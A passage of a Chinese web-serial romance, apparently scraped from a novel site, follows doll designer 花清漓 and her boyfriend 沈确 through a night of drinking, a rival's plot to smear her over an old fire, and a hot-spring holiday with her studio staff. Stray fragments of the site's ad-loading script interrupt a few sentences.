“呵！”沈确不服气地嗤笑一声，道：“我还不了解你？从小到大不管我们俩闹什么别扭，你哪次不是跑到林言蹊那里玩？你还真是依赖他。比起你爸爸和师父，林言蹊不就是你最亲近的人了吗？” 沈确说这话的时候，语气中不自觉地带了些醋意。 听完沈确的抱怨，花清漓终于明白沈确到底为什么生气了。 为了安抚沈确，花清漓干脆道：“啊～你是因为这个才不喜欢师兄的啊？那我以后就不去OAK了，工作上的事都让Gwen替我去。” 这句话成功哄好了沈确。他满意地看着花清漓道：“这还差不多！” 两人你一句我一句地一边聊着，一边朝花清漓的家里走去。 “你做的新人偶一上架，销量就盖过了Donald他们近期上架的所有新品。就算是用你当初的设计稿二改，但玩家们在看过你的设计稿和二改后的实物对比图之后，都发现如今的DH&D所产出的人偶无法达到他们的预期。DH&D的销量自然而然下降了，这几个月以来卖的最好的，只有你们上次返场的限定。”沈确絮絮叨叨地说起DH&D的相关消息，时不时垂眸观察花清漓的神色反应。 花清漓只是冷淡地附和道：“是嘛。看来Donald又要被景爷训了！他的手底下早就没一个有用的东西了。早点听我的话，找几个有用的家伙，别一门心思放在我身上不就没事了！” “我以前还以为，那个lvy也是你的人呢。”沈确突然想起了lvy，随口提到了她。 “呵！”花清漓冷笑一声，“lvy啊……我该说她什么好呢？大概是一个迷茫的傻白甜吧。她要是学习能力够强，我说不定会留下她好好教她。只可惜，她是个扶不起的阿斗。留她在身边对我没有任何意义了。既然没有用，就要在她变成绊脚石之前让她离开我。这样我才会更安全。这是我师父教我的！我知道我这话说的很难听，但是事实就是如此。” “果然是你师父教的。”沈确垂着眸，神色复杂。 花清漓苦涩地笑了一声，自嘲道：“没办法，在那种环境下，耳熏目染的，不可能不被影响。不过——这也证明，我也不是省油的灯！我师父挑人的眼光的确很毒辣。我和我师父，还有我妈，如出一辙！” “所以你接下来打算怎么做？”沈确问。 花清漓耸耸肩，“只要我的项目赚的钱比Donald和景爷的多，他们就不会轻易放过我的。他们这次受了挫折，肯定要变着花样来为难我了。这两人会联手也说不定。不知道他们打算怎么整死我！看他们出什么招再说吧！” 两人聊着聊着，走到了花清漓家门口。 花清漓用指纹开门，领着沈确进门后独自去厨房给自己倒了杯水，喝了一口才对玄关处的沈确道：“我家还没准备给你用的东西，你要去楼下便利店买吗？” “也好，给我留个门，我一会儿就回来！”沈确说完，转身出门去。 花清漓目送沈确离开后，独自抱着一只蜡笔小新娃娃在客厅的沙发里坐下。 沈确下了楼，来到了小区门口的便利店。 他先是给自己买了日常的洗漱用品，在结账时才想起来自己没有带换洗的衣服。 便利店老板给他结了账，随口对他道：“新搬来的？之前没见过你啊小伙子！” “不是，”沈确解释道，“我女朋友住在这儿。” “哦~”老板一副“我明白了”的样子，又问：“交往多久了？” 沈确一眼就看出老板的意图，直白地拒绝道：“我不买别的。” 老板原本推销的话术就这么卡在了嗓子里。 结过账，沈确匆匆上楼。 正当他来到花清漓门前想要敲门时，门就先他一步从里面打开了。 花清漓站在门框旁道：“我听得出你的脚步声。” 她说着，扫了一眼沈确手中拎着的袋子，转身走到沙发上坐下道：“今晚你睡客房。” 沈确早就知道会是这样。他没有多说什么，关上门朝着客房里的浴室走进去。 花清漓回到自己房间洗完澡，趴在床上却翻来覆去睡不着。最终，她起身来到客厅的冰箱前，从里面拿出自己储存的山竹茉莉青提酒，窝在沙发上独自小酌。 客厅的窗帘没有拉上，看得到外面整座灯火阑珊的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 城市。她关上客厅其它的灯，独留下了一盏沙发旁的落地灯。 四周静谧得只听得见酒水在杯中晃动的声音。 沈确洗完澡出来时，看见沙发上的花清漓穿着UmaWang玫瑰印花连衣裙靠在沙发上，一手支着脑袋，一手举着一只岩石杯，时不时地抿上一口杯中的酒液。 他走上前去，在花清漓身旁的沙发上落座。 “好喝吗？”沈确瞥了一眼花清漓手中的酒杯，伸手夺过来尝了一口。 酒液中山竹和青提的味道让这支酒的口味很清爽。酒的度数不高，对沈确来说更是和普通的果汁没多大区别。 “这是你什么时候买的？”他看向花清漓问。 “忘了。也可能是同事送的，”花清漓回想道，“我工作室里几个女孩子，都是酒鬼。经常送我各种酒。” 沈确闻言，挑了挑眉笑道：“看来你终于交到朋友了。以前在你师父手底下，这酒里估计都得掺点什么吧？或者说你连交朋友的时间都没有。” “Donald确实让手底下的人干过这种事，”花清漓蹙眉道，“我因为工作的缘故，这么些年也确实没有交过什么朋友。只有我自己亲手带出来的人才敢把他们留下来用，就像Gwen、Mavis她们俩。当初都是我亲自招进来的。他们是对我最忠心也最有用的人。” 两人聊着，不知不觉将这瓶果酒喝了三分之二。花清漓的酒量一向很差，三杯下肚后脸上就泛起一层微醺的红晕。而一旁的沈确依旧面不改色地给自己倒了满满一杯。 花清漓放下酒杯，侧身在沙发上躺下，一手支着脑袋，神色迷离地盯着沈确问：“为什么从小一起长大，你酒量比我好那么多？” 沈确抬眸看向躺在沙发上的花清漓，笑道：“从小到大我和我哥就爱把这玩意儿当饮料喝。后来上班的时候，参加应酬被灌得多了，酒量自然而然就练出来了。” 听完沈确的解释，花清漓一时兴起，直起身一个翻身跨坐在沈确的腿上，双手顺势环住他的脖子。 这一番举动下来，她看见沈确不自觉地红了耳朵。 “哼！”她像逮住什么把柄一般，抬手轻轻捏了捏沈确的耳朵。 沈确被她突如其来的举动调戏得连脸上都泛起了红晕。他缩了缩脑袋看着花清漓笑道：“你这又是想耍什么花招？” 花清漓轻笑了一声，没有回答。她松开沈确的耳朵，手指贴着他的皮肤滑至脖子。酥酥麻麻的痒意让沈确的呼吸加重了不少。然而花清漓并没有停手的意思，反而得寸进尺地探进了沈确的浴袍。花清漓修长的手指在他结实的胸膛上轻轻扫过，沈确的喘息声也随之颤抖。 眼看理智就要崩塌，沈确抬手抓住了花清漓“胡作非为”的手，喘着粗气对着她笑道：“原来这就是你对我的＇道歉方式''？”他说着，顺势逼迫花清漓与自己十指相扣。 “我很喜欢，”沈确说着，一个挺身抱着花清漓站了起来，“不过，在我原谅你之前，我是不会停的！” 他说完，抱着花清漓迈进房间。 45.45 Doll Workshop作为花清漓个人的人偶品牌上市后，凭借着她多年来累积的名气很快得到了业界同行与玩家们的认可和支持。 DH&D的总监办公室里，Donald捧着平板翻看着近两个月日益递减的销售数据，心中满是焦虑。 他在翻看过自家与花清漓的Doll Workshop的月度销售额预估数据的对比报告后，烦躁地将平板扔在了桌上，发出“啪”的一声。 突如其来的声响惊动了正在一旁悠闲喝奶茶的景爷。 “哎呦你干什么？”景爷起身朝Donald走过来，一脸的“恨铁不成钢”。 “Evelyn开设的Doll Workshop，才短短几个月，甚至新人偶才刚刚上架不到半个月，预约人数就比我们高。甚至通贩款的小摆件也比我们家卖得好！你说我能不生气吗？我一直想招几个新的人型师和原画师，可是没一个靠谱的！”Donald一脸烦躁地靠在转椅的椅背上吐槽道。 景爷皮笑肉不笑地摇摇头道：“当初是你做的太过，把她逼走的。要是Evelyn没走……” “哼！”Donald嗤笑一声，“逼走Evelyn？当初逼走Evelyn不就是你的主意吗？你现在又开始惦记她？既然如此当初何必逼她？” “我也是没想到Evelyn居然一点师徒情分都不顾，连假怀孕这种手段都能用上！还真是个卑鄙的女人。”景爷双手抱胸，一脸愤恨地吐槽道。 他说完，停顿了片刻，转而看向Donald道：“得想个办法彻底搞垮Evelyn，她那么能干，想让她彻底翻不了身，可得费点心思。” Donald听出景爷的言下之意，道：“我会再查一下Evelyn的过去，看看能不能抓到什么更有用的把柄。反正她从来都不是省油的灯，我不信她什么事都能处理得干干净净！” 听到Donald的话，景爷略带迟疑地为难道：“万一还真就找不到怎么办？她是上面那位亲手带出来的，那位的手段我也是见识过的。Evelyn跟他也不过学了些皮毛。” “怕什么，”Donald甩甩手，“自从他女儿去世后，他就没什么精力管工作室的事情了，哪还有心思管Evelyn！就算他要算帐，那也是Evelyn这个做徒弟的背叛在先！我做的一切都是为了我们公司！” 景爷看着Donald，忍不住叹了口气劝道：“凡事不要做得太过，就当是给自己留条退路啦！如果你非要针对Evelyn，可以，但我不参与。当然我也不会阻止你。虽然我也不想让Evelyn翻身，但我好歹也是被上面那位一手提拔上来的。我和他那么多年的朋友总要给他小徒弟一个面子吧？我现在不管Evelyn就已经是给她面子了，再为难她就是我不知好歹了。我可不能这么做！这件事我就当不知道！” 听完景爷的话，Donald也明白了，景爷这是要把自己撇得干干净净。Donald在心中冷笑一声，心里却想着：不愧是靠着年纪才混上总监位置的家伙，明明DH&D的一切斗争都是他明里暗里挑起的，现在却在这装好人。 Donald一脸胜券在握地对景爷道：“用不着你出手。这个恶人还是让我来做吧！这一次，我是不会让Evelyn有机会翻身的！” “哦？看来你早有准备？你又在打什么坏主意？”景爷好奇地看向Donald笑道。 Donald上前从口袋里掏出一枚U盘放在桌面上，看着景爷笑道：“等着看好戏吧。这里面的东西可是我手上握着的Evelyn为数不多的把柄，只有在关键时刻火上浇油，这才值得！” 景爷闻言，脸色一沉：“别告诉我是某些伪造的那种上不得台面的艳门照之类的，别用那么低级的手段行不行？” Donald翻了个白眼，反驳道：“除了MD潮玩社的那小子，哪个男人会对Evelyn这种只知道工作的女人感兴趣？最多也只对她赚了多少钱感兴趣吧！艳门照？她也没那个身材！” 听完Donald的话，景爷认同地附和道：“你说得也不是没有道理！那这件事就交给你来办吧！记住，说话之前一定要有足够让人信服的证据，不然吃亏的只会是我们！” “知道了！”Donald勾起嘴角，从办公桌抽屉里找出一个文件夹，里面正是花清漓当年从火灾现场带出来的被烧掉一半的设计稿手稿。除此之外，还有当年被保存下来的监控录像U盘，里面清楚地保留着花清漓和林言蹊重返火场拿设计稿的情形。 上次在看过这段监控录像之后，Donald曾调查过当时参与火灾救援的消防人员，还有火灾的受害者。 “你还记不记得当年那场大火？我查到当年在火灾中受伤的消防员，现在还在住院。他可是为了救Evelyn才受伤的，可Evelyn这两年几乎没有去看望过他。这种忘恩负义的家伙早晚会被人唾弃的不是吗？”Donald对景爷道。 “那位消防员现在是什么情况？”景爷好奇地问道。 Donald嘴角勾起一抹阴狠的笑道：“医院说是深度昏迷。我偷偷去看过一次，确实是这样。这样一来，哪怕我们找个记者来重写当年火灾的故事，加上我手里的这段监控录像，Evelyn就再也没有翻身的机会了！” 景爷听完Donald的计划，似乎想起什么，对他道：“当年火灾现场被救出来的，还有Evelyn的那个师兄林言蹊。这个林言蹊啊，因为当年那场火又是残疾又是失业的。听说他以前差一点会成为Evelyn的男朋友。谁知道那场火灾后他的腿瘸了，手也受伤了。上面那位就把他调到了OAK去担任销售呢！听说他和Evelyn这么多年，依旧藕断丝连的。你想给Evelyn泼脏水啊，可不能忘了这个林言蹊。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“是吗？”Donald蹙眉道，“看来林言蹊这边不太好下手了。只能先考虑那位还在医院的消防员了。既然他昏迷不醒，那话语权不就在我们手上吗！” 他说着，得意地看向景爷。 景爷思索片刻，道：“如果林言蹊的残疾也是因为Evelyn，那这件事就好办多了！” Donald听懂了景爷的言下之意，起身就要离开。 “诶你干什么去？现在还是上班时间！”景爷看到Donald准备离开，连忙开口叫住他。 Donald回过头看向景爷道：“我身体不舒服，去趟医院！” 他说完，就要走出去。 景爷连忙起身叫住他道：“先说好了，这是你自己的主意，我不参与，我也不知情！到时候没把Evelyn彻底搞垮，她要找人算账的话那也与我无关！” 站在门口的Donald听完这番话，翻了个白眼应声道：“知道了，走了。” 景爷目送Donald离开后，一屁股跌坐在椅子上，再度捧起奶茶悠闲地享用。 Donald从DH&D离开后便马不停蹄地赶到了医院的烧伤科病房。 前几天，他在查到两年前D社火灾中前来救援的一位名叫周悟今的消防员，因为爆炸的缘故，身受重伤昏迷不醒。联系过医院，又经过周悟今的家属同意，他这才有了前来探望的机会。 Donald来的时候带了一束铁线莲。 病房里只有一个躺在病床上浑身皮肤布满褶皱疤痕的男人，伤口已经愈合，但疤痕确永远无法去除。他闭着眼，手臂上插着的输液管不断地输送这药水。 Donald将手中的这束铁线莲插进了床头柜上的空花瓶里，随后绕到床尾将挂在上面的病情观察报告取下来查看。发现周悟今这几天突然处于昏迷状态，没有半点转醒的迹象。 他将手上的观察报告挂回床尾时，病房的门突然被人打开，一名护士推着着装满药剂的的手推车从门外走进来。护士在看见Donald时，出声问道：“您是？” Donald尴尬一笑，谎话张口就来：“他前两年在火灾现场救过我。那场火灾之后我就被调到外地工作了，一直都没有回来。这次终于有机会回来，就去消防站问了一下周悟今先生的情况。在经过他家属的同意后，这才特地过来看望他，只是没想到他昏迷了这么久。” 护士听完，将推车推到周悟今的病床边，一边给他换药一边对Donald道：“他身上有大面积的烧伤，你千万不要出手碰他。虽然部分伤口已经愈合，但其实还有很多地方在反复溃烂。我们一直有给他的伤口消毒和换药。手术也做了差不多20次，才终于恢复到现在这个状态。但愿他能早日醒过来吧。” “是啊，”Donald附和道，“希望他能在一个''好时机''醒过来，我想，一定有很多人期盼着他可以醒来！”比如他。 46.46 不过就算醒不过来那反而更好！Donald是这么想的。 既然周悟今是因为两年前D社大火才变成这样的，而自己手中的录像带正好可以让Evelyn这家伙百口莫辩。反正Evelyn害得林言蹊残疾是事实，哪怕把周悟今的事也算到她头上，又有什么关系呢？ Donald暗自得意地笑了一下，老天还真是眷顾他，让当年救Evelyn的消防员变成了现在这样昏迷的惨状。反正这个消防员受了重伤，说不了话也写不了字，事实到底如何，还不是自己一句话的事！只要找个人扮演一下记者就可以把脏水泼到Evelyn的身上了！ 这一次一定能整死Evelyn。Donald这样想着，转身离开病房。 - 日子很快到了十月初，一连多日的阴雨天让空气都变得格外潮湿。 上一期机械体人偶上架后的销售额很可观，花清漓在算完账之后很快把工资发给了工作室的大家，顺便给大家发了国庆节的红包。 Mavis和Gwen说想要请花清漓一起去温泉山庄度假，Esiason家两兄弟倒和Freemon家两兄弟一起约着准备去泉亭。 花清漓听到几人要去泉亭玩的消息，忍不住打趣他们，建议他们去停雲阁逛一圈。 Esiason还奇怪花清漓为什么让自己去逛停雲馆，在社交软件上逛了一圈才发现这原来是菅云舒的私宅。大家都知道花清漓自幼跟在菅云舒身边学雕刻，停雲馆对花清漓来说意味着什么。 搞了半天，原来是老板的家啊！Esiason在群里发了个“嫉妒”的表情包，继续和其他人闲聊。Freemon家两兄弟倒是因此改变主意，也掉头准备去温泉山庄。Esiason见状，索性也加入队伍，决定一起去温泉山庄。 看着几人在群里聊天，花清漓和Gwen约好见面时间，随手关掉手机扔在床上。 最近因为开始降温，花清漓把床重新铺过，又在家里到处铺了地毯，日子过得十分惬意。 沈确前两天也吵着闹着要搬过来和她一起住。花清漓被沈确啰嗦烦了，最后沈确提出自己可以包揽所有家务，花清漓这才勉强答应让他搬过来。 眼下沈确就躺在她身旁，贴着她的后背，双手环着她的腰。 花清漓难得有这样的休息时间，她干脆赖床，准备再睡一个回笼觉。 她侧了侧身，换了个舒服的姿势闭上眼。 谁知正是此刻，沈确睁开眼，抬手替花清漓整理了一下有些凌乱的头发。 花清漓感觉到沈确的动作，不自觉地朝他怀里钻了钻。 沈确轻笑了一下，顺势用手一下一下地轻轻拍着花清漓的后背。问她：“国庆假你想待在家里还是出去玩？” 花清漓闭着眼，闷声道：“Mavis和Gwen想和我一起去温泉山庄度假，结果Esiason他们也说要一起。到头来我工作室的几个人都去温泉山庄团建了。我好不容易才放假，我觉得应该出去好好玩一玩，温泉好像还真不错，就答应了。” “那就去趁这次国庆放假，我也和你一起去吧。”沈确提议道。 “真的？”花清漓听到沈确要和自己一起出去玩，兴奋地坐起身，“Gwen说她订了温泉民宿，是在泉亭的禅源寺附近的温泉民宿！但是没订我的。” “没事，我已经订好了。”沈确也坐起身，对她道。 花清漓惊讶地看着他：“你什么时候订的？怎么没告诉我？” “半个月前，当时去接你下班的时候，正好碰到Mavis和Gwen，听说她们和Esiason他们都准备在这个假期去温泉山庄度假，问我们要不要一起。我就答应了，顺便把民宿订在同一家。看你前段时间一直在加班就没打扰你，让我转告你。”沈确松开抱着花清漓腰的手臂，翻身下床去洗漱。 居然是半个月前！花清漓坐在床上发呆，原来沈确早就想和她出去玩了。 花清漓一时也没了睡意，翻身下床走进浴室和沈确站在一起洗漱。 沈确刷完牙，三下五除二地洗了把脸。抬起头对花清漓道：“我去给你做早饭，想吃什么？燕麦酸奶和甜玉米怎么样？或者鸡蛋沙拉吐司？” “都可以。”花清漓懒懒地靠在墙边，拿了牙刷慢吞吞地在洗漱。 趁着花清漓洗漱期间，沈确已走进厨房开始做早餐。 花清漓洗漱完出来时，正好看见沈确不知从哪里翻出一口肥嘟嘟左卫门的小平底锅，在锅里放了片吐司在煎。 “我家还有锅？”花清漓走上前来，看着沈确手里的小平底锅惊讶不已。 沈确笑了笑，道：“看来伯父考虑得很周全，这些厨房里要用的东西，放的位置，如果不是经常做饭的人一定很难发现它们！难为伯父连这种平底锅都给你买肥嘟嘟左卫门的呢！” 花清漓撇撇嘴没有接话。 早餐做好端上桌时，花清漓早就饿得前胸贴后背了。她忍不住对沈确道：“自己在家做早餐太慢了，下次还是去买吧……” “下次我会早一点起来给你做早餐的，不用去买。”沈确顺势在花清漓身旁的空位坐下，将摆着鸡蛋沙拉吐司的小盘子推到她面前。 “既然我们工作室的人也要去泉亭，他们应该会开车过去。我们俩坐动车吗？不知道还能不能买到票。”花清漓一边吃着吐司一边问。 “下午和他们一起坐车过去，半个小时的路程。一会收拾行李，中午吃完饭就出发。最近开始降温了，不要只带裙子。”沈确喝了口温水道。 沈确轻笑了一下，道：“你工作室的Gwen和Mavis，还有Esiason和他弟弟Mikell、Freemon和他弟弟Harvey、还有烟烟也会来。他们一会就到，我们跟他们一起坐车过去！” “好的。”花清漓看向窗外道，“最近还真是，连降温都这么突然。连个过渡期都没有，今天醒来，突然就那么冷。”她这会只穿了一条吊带睡裙，连外套也没有披。 “是稍微有点凉，”沈确起身走进房间，拿了块毯子出来盖在花清漓肩上，“这样好点吗？” “嗯。”花清漓轻轻应了一声，低着头继续吃早餐。 沈确则是趁着花清漓吃早餐的间隙，转身进房间收拾行李。 正当花清漓吃好早餐去洗碗的时候，门口响起了门铃声。 “我来洗碗，你去开门吧！”沈确从房间里快步走出来，到了花清漓面前接过她手里的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 碗筷走进厨房去清洗。 花清漓拢紧身上的毯子来到玄关，一开门就看见Mavis和Gwen一人拎着一个小精品袋和她打招呼：“嗨！Evelyn！你男朋友和你说了我们要来吗？” “说了，请进！”花清漓笑笑，将两人迎进屋内。 Gwen一进门，看到屋里四处可见的蜡笔小新装饰忍不住感叹道：“哇哦～没想到Evelyn的家那么富有童趣！” “行李收拾好了吗？需不需要我们帮忙？”Mavis走到客厅对花清漓道。 花清漓思考了一下说了句“也好”，便带着两人走进自己房间收拾行李。 三个女孩在房间里，一边聊天一边收拾行李。 “Esiason他们呢？”花清漓打开衣柜一边挑衣服，一边问两人。 Mavis道：“他们和烟烟在楼下等我们呢，Freemon开了车载我们。” “那可不能让他们等太久了。”花清漓挑了两套自己最喜欢的UmaWang的时装放在床上。 Gwen坐在床边替她将衣服装进行李箱，一边建议道：“Evelyn，我觉得你偶尔可以换一换''风格''！你知道吧！” 听出这句话意有所指，花清漓停下手中动作看向Gwen，问：“比如？” 只见Gwen和Mavis相视一笑，把刚才两人各自带来的精品袋放进了花清漓的行李箱，末了，Gwen还不忘一脸姨母笑地看着花清漓道：“这个很重要，除了你自己和你男朋友，谁都不能乱拿！听明白了吗！” 此话一出，花清漓也猜出那只精品袋里装的大概是些什么东西。她无奈地叹了口气对两人道：“我谢谢你们俩啊，这么替我着想。我们这次就是去度假的，短短两天一夜的行程，有必要带这些吗？” “诶～”Gwen摆摆手，一脸坏笑道，“那你就错了！你看你平时整天忙着工作，你男朋友被你冷落得上次不都提分手了吗？你呀，就听我们的，把我们给你准备的东西都带上！保证让你男朋友成为你的＇掌中之物''！” Gwen说着，还不忘伸出手掌做了一个抓紧的动作。 花清漓说不过她们俩，只好拖着行李和几人一起下楼。 出了居民楼，正大门外停着一辆黑色的奔驰G63。Esiason穿着一身黑色修身风衣靠在车门上，看到花清漓和沈确，抬手和他们打了个招呼。 “买新车了？”花清漓看到Esiason脸上抑制不住的喜悦，调侃道。烟烟也从车窗里探出脑袋来与几人打了个招呼。 Esiason拍了拍车门对花清漓道：“怎么样，花老板，我这新车还不错吧！多亏了前两天发的奖金正好让我可以一次性结清尾款！” “看把你嘚瑟的！”花清漓笑着，绕到后备厢准备放行李。 “诶，老板，我来帮你放行李！”Esiason狗腿地绕到花清漓身旁，接过她的行李替她放好。 一旁的Gwen都忍不住吐槽他：“Esiason，果然谁给你发工资谁就是你的上帝啊！我真是长见识了，人家男朋友还在旁边呢！” 沈确笑道：“没事，看人的眼神和看摇钱树的眼神，我还是分得清的！出发吧！” 47.47 今天是个好日子。秋天的阳光醇厚柔润，在建筑物上流动跳跃。追随着车辆，在抵达那家名为揽山行馆的民宿门口才缓缓从远处的群山身后滑落。 待众人下车，客房管家也随之迎上前来，一边替大家搬行李，一边带领众人前去置办入住登记。 揽山行馆的装修设计是中式侘寂风格。整体色调只有灰、白、棕三种颜色。 花清漓和沈确订的是双人的标间。空间很宽敞，房间里还有一股温暖的木质香味。 其他人的房间也都在他们俩房间的左右隔壁。 当两人整理好各自的行李，正好到了饭点。 此时两人的房门口想起了烟烟的敲门声，“Evelyn,晚上你们要不要和大家一起找个地方下馆子？” “好啊！”花清漓来到门口，拉开门对烟烟道：“你们想吃什么？来泉亭不会想去吃西湖醋鱼吧？” 烟烟听到西湖醋鱼，好奇地看着花清漓问：“西湖醋鱼这么有名，一定很好吃吧！我好想尝一尝。” 一旁的沈确“噗呲”一声笑了出来，走上前揽过花清漓的肩回答道：“西湖醋鱼啊，那可要去楼外楼吃才正宗。最好挑个靠窗的位置，方便连鱼带盘子扔湖里。” “啊？”烟烟听到这话，忍不住问：“Keder你怎么也玩这个梗……” 沈确玩笑着解释道：“我和梨梨从小在泉亭长大的，我们请客吃饭，碰到讨厌的人就会请他吃西湖醋鱼来折磨他。” 花清漓抬肘撞了沈确一下，也用玩笑的语气对烟烟道：“别听他胡说八道！连盘带鱼扔湖里是要罚款的！也不是特别折磨人，醋是醋，鱼是鱼，还有一股草腥味。吃起来给人一种‘这鱼白死了’的感觉。” “能卖那么多年纯靠游客的好奇心。”沈确补充道。 三人聊天的时候，Freemon的弟弟Harvey正好从房间里出来，插嘴道：“泉亭是出了名的美食荒漠你们不知道吗？谁来泉亭吃本地菜啊！找家川菜馆得了！” “是啊，我们在申城也点川菜的外卖。就爱吃点辣的，重口味的那种！”Gwen附和道。 Mavis也从房间里出来，听到几人的话，道：“来泉亭吃川菜？那我们下次还不如去江城。” “可以啊。”花清漓认同道。 几人一听下次有机会去江城，兴奋地瞪大眼睛看向花清漓，“真的？” 花清漓耸耸肩道：“当然是真的！不过得等我们什么时候有机会搓一个大单，到时候钱一到账，大家就出发！运气好的话还可以再去一次去日本转转。” 以前在D社，花清漓也带大家去过日本的冲绳度假。 花清漓在员工面前向来说到做到，几人听到花清漓这话，纷纷兴奋不已。 听到花清漓说“再去一次日本”时，沈确蹙眉掰过她的肩膀嫉妒地质问道：“你还带他们去过日本度假？我怎么不知道？你有没有把我这个青梅竹马放在眼里？” 花清漓抬手拿开沈确的双手解释道：“我们当时去冲绳是去谈合作项目的，又不是真的纯粹在度假！你在嫉妒什么啊，幼稚！”她嘴上虽是责备，脸上却挂着笑。 “那个，不是约了晚上泡温泉吗，在这之前我跟我哥先去周围逛一逛！走了！”Harvey说着，转身去隔壁房间叫上了哥哥Freemon。 两兄弟之间虽然只相差一岁，脾性倒是一模一样。 与Freemon两兄弟各自告别，Gwen也向几人提议要不要也去街上逛逛。 花清漓正好也想去周围的街上走走，索性便答应了和Gwen、烟烟一起去。既然花清漓会去，沈确自然也会跟着。 Esiason从房间里出来，听到几人要去街上逛，连忙叫住临行的几人，“等一下！我也去！” 沈确看着Esiason，忍不住问他：“你弟怎么不跟你一起来啊？本来我也叫了他，结果他说来不了。你知道为什么吗？” “他啊，”Esiason挠了挠头，“他说要去长白山，诶，随他去吧！” 五人你一句我一句地聊着，一边朝着步行街的方向走去。 国庆假期，泉亭又属于知名旅游城市，街上人山人海的。 花清漓觉得这样的街反而没意思。 直到傍晚，太阳渐渐隐退在群山之间。余晖映在西湖的水面上，红通通的。 晚风轻柔得让人忘记抱怨四周喧闹的人群。 花清漓被沈确牵着，穿梭在人群中。再回过头，竟不知何时与其他人相继走散了。 “Gwen和烟烟她们呢？”花清漓左顾右盼地寻找着她们俩的身影。 “他们不是说要去看看周围的小吃吗！别管他们了，我们去那边看看！”沈确牵着花清漓朝湖边的小摊走去。 小摊上卖的东西对两人来说都不是什么新鲜玩意儿，随便逛了一圈，花清漓也觉得有些饿了。 她驻足挽住沈确的胳膊，提议道：“这小摊上的东西我们小时候都玩腻了，我们还是先去吃点东西然后回去泡温泉吧，我饿了～” 最后一句的语气带了些撒娇的意味，沈确拿她没办法，索性揽着她的肩膀往回走。 最终两人走进了一间小酒馆，买了一支乐赛之地半甜莫斯卡托带回去。 沈确看到明明酒量不好的花清漓居然还要带酒回去喝，简直把“人菜瘾大”这四个字提现的淋漓尽致。 “你酒量不好，干嘛还要带酒回去喝？嗯？”沈确搂着花清漓吐槽道。 “怎么了，你不是喜欢喝吗？”花清漓嘴硬道。她确实是想带回去自己喝。想到Gwen和烟烟这两个家伙塞在自己行李中的那个袋子，看她们俩当时的表情，花清漓就意识到那肯定不是什么正经礼物！既然都带来了，那就要找机会用上！喝点酒也好壮壮胆。如果是正经礼物，那就当她是想多了。 沈确笑着摇摇头，“当然不是。这种酒对我来说跟喝饮料一样，我是怕你喝醉了明天起来头疼！” 花清漓轻啧了一声，以表不满。 “走吧走吧，回民宿去。这里都是人，没什么好看的。”沈确牵起花清漓的手就往民宿的方向走。 两人穿过热闹的街道，回到了揽山行馆民宿。 路过民宿的餐厅时，花清漓看见Gwen和Mavis、烟烟三人早已换了休闲的衣服坐在一起吃东西。 正在吃玉子烧寿司的Gwen抬头正好看见回来的两人，兴奋地和他们打招呼：“Evelyn！他们家的玉子烧寿司和蟹黄面很好吃！” “是嘛？”花清漓将信将疑地走上前，顺势拿起桌上的菜单扫了一眼，果然，没有一样是泉亭的特色菜。 花清漓的食欲突然就这么消失了，只好把刚买的乐赛之地半甜莫斯卡托放在桌面上，拿着菜单勉为其难点了一份凉拌厥根粉。 用餐的时候，Gwen突然抬起头漫不经心地问身旁的花清漓：“诶，我今天送你的东西你喜欢吗？那可是我为了庆祝你开店，距离成为富婆又近了一步，特意给你挑的诶！” 花清漓想到上午那个袋子，无奈道：“我还没看那是什么呢，你现在跟我提有什么用。等我回去看过到底是什么才好给你答复吧！干嘛搞得那么神秘！” “诶～”Mavis摆摆手凑到花清漓耳边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小声道，“那是Gwen特地给你和你男朋友挑的！你说呢！” 她就知道！花清漓无语地看着Mavis，“我真是谢谢你们了啊！平常上班的时候怎么不见你们这么用心？心思能不能放在有用的地方？” “哎呦～就这一次嘛！再说了，我和Gwen还不都是为你好！”Mavis抬手抱住花清漓的胳膊撒娇。 花清漓抬手轻轻推开Mavis，“我不吃这一套，跟你未来男朋友撒娇去。” “真是无情啊，我们之间难道都没有一点感情了吗？Evelyn～”Mavis不情不愿地收回了手。 “不好意思啊，我有男朋友了。”花清漓冷淡地给自己夹了一块寿喜烧放进嘴里。 沈确再次被晾在一边。他干脆低着头，装聋作哑地吃东西。 烟烟和沈确一样，从刚才打完招呼，就埋头一直在嗦面前的一大盘生腌酱蟹。 吃过晚餐，几人各自回房。 花清漓和沈确近了房间，沈确先行去洗了澡。待沈确裹着浴袍出来之后，花清漓才走进浴室开始刷牙。 沈确站在床边一边翻看手机里的新闻，一边对浴室里的花清漓道：“你现在要洗澡吗？我先去泡温泉？” 正在刷牙的花清漓“嗯”了一声，一时把“Gwen送的礼物”这件事忘在了一边。 花清漓刷过牙，随后开始淋浴。等她洗完走出淋浴间的时候，才想起自己忘了拿泳装。 无奈之下，她只好裹着浴袍出来拿。 沈确泡在温泉里，一边喝着乐赛之地半甜莫斯卡托，一边看着远处的山景出神。 花清漓翻行李的时候，终于看到了Gwen送的所谓的“礼物”，是一套十分性/感的白色泳装。 泳装的布料很薄，上半身的文/胸底部还有两条亮晶晶的细带。下半身还附送了一条半透明的白色裹裙。 花清漓的手机适时响起，她划开屏幕一看，果然是Gwen发来的信息。是一个“加油”的表情包。 放下手机，花清漓走进浴室换上了这套泳装。 不得不说这确实是一套很漂亮的泳装，看得出Gwen确实替她花了不少心思。 为了不辜负Gwen的一番心意，花清漓硬着头皮走出浴室来到温泉旁。 此刻的沈确已将那瓶乐赛之地半甜莫斯卡托喝了大半。直到风吹动花清漓的裙摆，半透明的白色裹裙抚过沈确的耳朵，这才让他转过身来。 只见身材高挑纤细的花清漓，在这件泳装的衬托下显得异常的性感。 嗯，性感。 沈确看着面前的花清漓，微微有些愣神。 原来这就是那些女孩们送给花清漓的“礼物”。 花清漓迈进温泉，在沈确的身旁坐下。 温暖的泉水很快驱散了寒意，花清漓这才暗自舒了口气。 沈确也趁机贴上来，从后面环住花清漓的细腰。花清漓被沈确突如其来的靠近吓了一跳，条件反射地想要起身逃离沈确的桎梏，确被沈确反手一拽，跨坐在了他的腿上。 花清漓摔在了沈确的怀里。头顶上传来沈确戏谑的笑声：“跑什么？” 